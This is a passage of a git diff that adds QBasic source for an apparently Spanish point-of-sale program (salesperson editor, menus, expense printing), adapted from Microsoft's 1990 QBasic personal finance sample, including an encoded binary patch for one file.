LEN = 76 + FIELD #1, 20 AS T$, 50 AS D$, 3 AS C$, 1 AS a$ + FIELD #1, 2 AS valid$ + IF valid$ <> "*" THEN + valid$ = "*" + PUT #1, 1 + FOR a = 1 TO 9 + LSET T$ = "" + LSET D$ = "" + LSET C$ = "" + LSET a$ = "" + PUT #1, a + 1 + NEXT a + END IF + FOR a = 1 TO 9 + GET #1, a + 1 + Title$(a) = T$ + Desc$(a) = D$ + Ca$(a) = C$ + AType$(a) = a$ + NEXT a + CLOSE + box 2, 1, 14, 80 + box 15, 1, 18, 80 + + COLOR colors(5, ColorPref), colors(4, ColorPref) + LOCATE 1, 1: PRINT SPACE$(80) + LOCATE 1, 4: PRINT "Editor de Vendedores, Empresa: " + Trim$(account(r%).Title); + COLOR colors(7, ColorPref), colors(4, ColorPref) + LOCATE 3, 2: PRINT "No³ Vendedor/a ³ Otros Datos ³ C.A ³N.A" + LOCATE 4, 2: PRINT "ÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÅÄÄÄ" + u$ = "##³\ \³\ \³\ \³ ! " + FOR a = 5 TO 13 + LOCATE a, 2 + x = a - 4 + PRINT USING u$; x; Title$(x); Desc$(x); Ca$(x); AType$(x); + NEXT a + + 'Initialize variables + help$(1) = " Nombre del Vendedor/a " + help$(2) = " Direcci¢n, n§ Telefono, etc... " + help$(3) = " Codigo Personal de Acceso al Sistema " + help$(4) = " Acceso al Sistema ( Nivel 1 a 5 ) " + Col(1) = 5: Col(2) = 26: Col(3) = 72: Col(4) = 78 + vis(1) = 20: vis(2) = 50: vis(3) = 4: vis(4) = 1 + max(1) = 20: max(2) = 50: max(3) = 3: max(4) = 1 + + finished = false + CurrRow = 1 + CurrCol = 1 + PrintHelpLine help$(CurrCol) + "| " + 'Loop until F2 or is pressed + DO + GOSUB EditAccountsShowCursor 'Show Cursor + DO 'Wait for key + kbd$ = INKEY$ + LOOP UNTIL kbd$ <> "" + IF kbd$ >= " " AND kbd$ < "~" THEN 'If legal, edit item + + COLOR colors(8, ColorPref), colors(9, ColorPref) + ok = false + start$ = kbd$ + DO + kbd$ = GetString$(CurrRow + 4, Col(CurrCol), start$, end$, vis(CurrCol), max(CurrCol)) + SELECT CASE CurrCol + CASE 1: Title$(CurrRow) = LEFT$(end$ + SPACE$(max(CurrCol)), max(CurrCol)) + CASE 2: Desc$(CurrRow) = LEFT$(end$ + SPACE$(max(CurrCol)), max(CurrCol)) + CASE 3: Ca$(CurrRow) = LEFT$(end$ + SPACE$(max(CurrCol)), max(CurrCol)) + CASE 4: AType$(CurrRow) = LEFT$(end$ + SPACE$(max(CurrCol)), max(CurrCol)) + CASE ELSE + END SELECT + start$ = "" + + IF CurrCol = 4 THEN + x$ = UCASE$(end$) + IF VAL(x$) >= 1 OR VAL(x$) <= 5 THEN + ok = true + ELSE + BEEP + END IF + ELSE + ok = true + END IF + + LOOP UNTIL ok + END IF + + hide = 1: GOSUB EditAccountsShowCursor: hide = 0 'Hide Cursor so it can move + 'If it needs to + SELECT CASE kbd$ + CASE CHR$(0) + "H" 'Up Arrow + CurrRow = (CurrRow + 17) MOD 9 + 1 + CASE CHR$(0) + "P" 'Down Arrow + CurrRow = (CurrRow) MOD 9 + 1 + CASE CHR$(0) + "K", CHR$(0) + CHR$(15) 'Left or Shift+Tab + CurrCol = (CurrCol + 1) MOD 4 + 1 + PrintHelpLine help$(CurrCol) + "| " + CASE CHR$(0) + "M", CHR$(9) 'Right or Tab + CurrCol = (CurrCol) MOD 4 + 1 + PrintHelpLine help$(CurrCol) + "| " + CASE CHR$(0) + "<" 'F2 + finished = true + Save = true + CASE CHR$(27) 'Esc + finished = true + Save = false + CASE CHR$(13) 'Return + CASE ELSE + BEEP + END SELECT + LOOP UNTIL finished + + IF Save THEN + + OPEN "Vendedor" + Cvit$(item) FOR RANDOM AS #1 LEN = 76 + FIELD #1, 20 AS T$, 50 AS D$, 3 AS C$, 1 AS a$ + FIELD #1, 2 AS valid$ + FOR a = 1 TO 9 + LSET T$ = Title$(a) + LSET D$ = Desc$(a) + LSET C$ = Ca$(a) + LSET a$ = AType$(a) + PUT #1, a + 1 + NEXT a + CLOSE + + END IF + + EXIT SUB + + +EditAccountsShowCursor: + IF hide = 0 THEN COLOR colors(8, ColorPref), colors(9, ColorPref) ELSE COLOR colors(7, ColorPref), colors(4, ColorPref) + LOCATE CurrRow + 4, Col(CurrCol) + SELECT CASE CurrCol + CASE 1: PRINT LEFT$(Title$(CurrRow), vis(CurrCol)); + CASE 2: PRINT LEFT$(Desc$(CurrRow), vis(CurrCol)); + CASE 3: PRINT LEFT$(Ca$(CurrRow), vis(CurrCol)); + CASE 4: PRINT LEFT$(AType$(CurrRow), vis(CurrCol)); + CASE ELSE + END SELECT + + RETURN + +END SUB + diff --git a/NEW/PROVEED.BAS b/NEW/PROVEED.BAS new file mode 100644 index 0000000000000000000000000000000000000000..4ec4ea4454140383dbb236ddc26b34491d04e3cf GIT binary patch literal 19163 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 L+ms~!{p9}uRP$tR literal 0 HcmV?d00001 diff --git a/NEW/TPV.BAS b/NEW/TPV.BAS new file mode 100644 index 0000000..9676f7c --- /dev/null +++ b/NEW/TPV.BAS @@ -0,0 +1,1929 @@ +' +' Q B a s i c P e r s o n a l F i n a n c i a l +' +' Copyright (C) Microsoft Corporation 1990 + +'Set default data type to integer for faster operation +DEFINT A-Z + +'Sub and function declarations +DECLARE SUB ScrollUp () +DECLARE SUB ScrollDown () +DECLARE SUB Initialize () +DECLARE SUB center (Row%, text$) +DECLARE SUB FancyCls (dots%, Background%) +DECLARE SUB LoadState () +DECLARE SUB SaveState () +DECLARE SUB MenuSystem () +DECLARE SUB Box (Row1%, Col1%, Row2%, Col2%) +DECLARE SUB PrintHelpLine (help$) +DECLARE SUB ImpRef (po%) +DECLARE SUB ImpComp (so%) +DECLARE SUB Vende (r%) +DECLARE SUB Elif () +DECLARE SUB Staul () +DECLARE SUB Ticket (e%) +DECLARE SUB Stock (EE%) +DECLARE SUB Balan (EEE%) +DECLARE FUNCTION Cvit$ (x%) +DECLARE FUNCTION Menu% (CurrChoiceX%, MaxChoice%, Choice$(), ItemRow%(), ItemCol%(), help$(), BarMode%) +DECLARE FUNCTION GetString$ (Row%, Col%, start$, end$, vis%, max%) +DECLARE FUNCTION Trim$ (x$) + +'Constants +CONST true = -1 +CONST false = NOT true + +'User-defined types +TYPE AccountType + Title AS STRING * 20 + AType AS STRING * 1 + Desc AS STRING * 50 +END TYPE + +TYPE Recordtype + Date AS STRING * 8 + Ref AS STRING * 10 + Desc AS STRING * 50 + Fig1 AS DOUBLE + Fig2 AS DOUBLE +END TYPE + +'Global variables +DIM SHARED Account(1 TO 19) AS AccountType 'Stores the 19 account titles +DIM SHARED colors(0 TO 20, 1 TO 4) 'Different Colors +DIM SHARED ScrollUpAsm(1 TO 7) 'Assembly Language Routines +DIM SHARED ScrollDownAsm(1 TO 7) +DIM SHARED Fecha$(1), fech$(1) +COMMON SHARED Account() AS AccountType, ColorPref, colors(), ScrollUpAsm(), ScrollDownAsm(), printerr AS INTEGER, Choice, SubChoice + + DEF SEG = 0 ' Turn off CapLock, NumLock and ScrollLock + KeyFlags = PEEK(1047) + POKE 1047, &H0 + DEF SEG + + 'Open money manager data file. If it does not exist in current directory, + ' goto error handler to create and initialize it. + ON ERROR GOTO ErrorTrap + OPEN "Personal.cfg" FOR INPUT AS #1 + CLOSE + ON ERROR GOTO 0 'Reset error handler + + Initialize 'Initialize program + + MenuSystem 'This is the main program + COLOR 7, 0 'Clear screen and end + CLS + + DEF SEG = 0 ' Restore CapLock, NumLock and ScrollLock states + POKE 1047, KeyFlags + DEF SEG + + END + +' Error handler for program +' If data file not found, create and initialize a new one. +ErrorTrap: + SELECT CASE ERR + ' If data file not found, create and initialize a new one. + CASE 53 + CLOSE + ColorPref = 1 + FOR A = 1 TO 19 + Account(A).Title = "" + Account(A).AType = "" + Account(A).Desc = "" + NEXT A + SaveState + RESUME + CASE 24, 25 + printerr = true + Box 8, 13, 14, 69 + center 11, "La impresora no responde ..." + center 12, "Presione Barra espaciadora para continuar" + WHILE INKEY$ <> "": WEND + + RESUME NEXT + CASE ELSE + END SELECT + RESUME NEXT + +ErrorCaj: + OPEN "Caja.cfg" FOR OUTPUT AS #1 + PRINT #1, "N" + CLOSE +RESUME NEXT + + + +'The following data defines the color schemes available via the main menu. +' +' scrn dots bar back title shdow choice curs cursbk shdow +DATA 0, 7, 15, 7, 0, 7, 0, 15, 0, 0 +DATA 1, 9, 12, 3, 0, 1, 15, 0, 7, 0 +DATA 3, 15, 13, 1, 14, 3, 15, 0, 7, 0 +DATA 7, 12, 15, 4, 14, 0, 15, 15, 1, 0 + +'The following data is actually a machine language program to +'scroll the screen up or down very fast using a BIOS call. +DATA &HB8,&H01,&H06,&HB9,&H01,&H04,&HBA,&H4E,&H16,&HB7,&H00,&HCD,&H10,&HCB +DATA &HB8,&H01,&H07,&HB9,&H01,&H04,&HBA,&H4E,&H16,&HB7,&H00,&HCD,&H10,&HCB + +SUB Balan (EE%) + +END SUB + +'Box: +' Draw a box on the screen between the given coordinates. +SUB Box (Row1, Col1, Row2, Col2) STATIC + + BoxWidth = Col2 - Col1 + 1 + + LOCATE Row1, Col1 + PRINT "Ú"; STRING$(BoxWidth - 2, "Ä"); "¿"; + + FOR A = Row1 + 1 TO Row2 - 1 + LOCATE A, Col1 + PRINT "³"; SPACE$(BoxWidth - 2); "³"; + NEXT A + + LOCATE Row2, Col1 + PRINT "À"; STRING$(BoxWidth - 2, "Ä"); "Ù"; + +END SUB + +'Center: +' Center text on the given row. +SUB center (Row, text$) + LOCATE Row, 41 - LEN(text$) / 2 + PRINT text$; +END SUB + +'Cvit$: +' Convert an integer to a string WITHOUT a leading space. +FUNCTION Cvit$ (x) + Cvit$ = RIGHT$(STR$(x), LEN(STR$(x)) - 1) +END FUNCTION + +SUB Elif + +END SUB + +'FancyCls: +' Clears screen in the right color, and draws nice dots. +SUB FancyCls (dots, Background) + + VIEW PRINT 2 TO 24 + COLOR dots, Background + CLS 2 + + FOR A = 95 TO 1820 STEP 45 + Row = A / 80 + 1 + Col = A MOD 80 + 1 + LOCATE Row, Col + PRINT CHR$(250); + NEXT A + + VIEW PRINT + +END SUB + +'GetString$: +' Given a row and col, and an initial string, edit a string +' VIS is the length of the visible field of entry +' MAX is the maximum number of characters allowed in the string +FUNCTION GetString$ (Row, Col, start$, end$, vis, max) + Curr$ = Trim$(LEFT$(start$, max)) + IF Curr$ = CHR$(8) THEN Curr$ = "" + + LOCATE , , 1 + + finished = false + DO + GOSUB GetStringShowText + GOSUB GetStringGetKey + + IF LEN(kbd$) > 1 THEN + finished = true + GetString$ = kbd$ + ELSE + SELECT CASE kbd$ + CASE CHR$(13), CHR$(27), CHR$(9) + finished = true + GetString$ = kbd$ + + CASE CHR$(8) + IF Curr$ <> "" THEN + Curr$ = LEFT$(Curr$, LEN(Curr$) - 1) + END IF + + CASE " " TO "}" + IF LEN(Curr$) < max THEN + Curr$ = Curr$ + kbd$ + ELSE + BEEP + END IF + + CASE ELSE + BEEP + END SELECT + END IF + + LOOP UNTIL finished + + end$ = Curr$ + LOCATE , , 0 + EXIT FUNCTION + + +GetStringShowText: + LOCATE Row, Col + IF LEN(Curr$) > vis THEN + PRINT RIGHT$(Curr$, vis); + ELSE + PRINT Curr$; SPACE$(vis - LEN(Curr$)); + LOCATE Row, Col + LEN(Curr$) + END IF + RETURN + +GetStringGetKey: + kbd$ = "" + WHILE kbd$ = "" + kbd$ = INKEY$ + WEND + RETURN +END FUNCTION + +SUB ImpComp (so%) + + 'Stores info about each column + + 'Array to keep the current balance at all the transactions + + REDIM Col(6), Balance#(1000) + mes$ = MID$(DATE$, 1, 2) + an$ = MID$(DATE$, 7, 4) + comes$ = mes$ + "-" + an$ + gf = 0 + Box 17, 5, 21, 75 + center 18, "Por Favor Introduzca Mes y a¤o" + center 19, "para imprimir gastos." + PrintHelpLine "Mes y A¤o: mm-aaaa" + DO + emp$ = GetString$(20, 7, comes$, end$, 10, 10) + Fecha$ = end$ + mes$ = MID$(Fecha$, 1, 2) + IF VAL(mes$) <= 12 THEN gf = 1 + IF LEN(Fecha$) < 7 THEN gf = 0 + LOOP WHILE gf = 0 + gf = 0 + + + mes$ = MID$(Fecha$, 1, 2) + an$ = MID$(Fecha$, 4, 4) + + + + center 18, "Imprimiendo Fecha Seleccionada" + center 19, "Por favor, espere ..." + + + 'Open random access file + + file$ = "E-" + mes$ + an$ + "." + Cvit$(so%) + + OPEN file$ FOR RANDOM AS #1 LEN = 59 + + FIELD #1, 2 AS IoDia$, 6 AS IoRef$, 22 AS IoDesc$, 3 AS IoUnd$, 3 AS IoCC$, 8 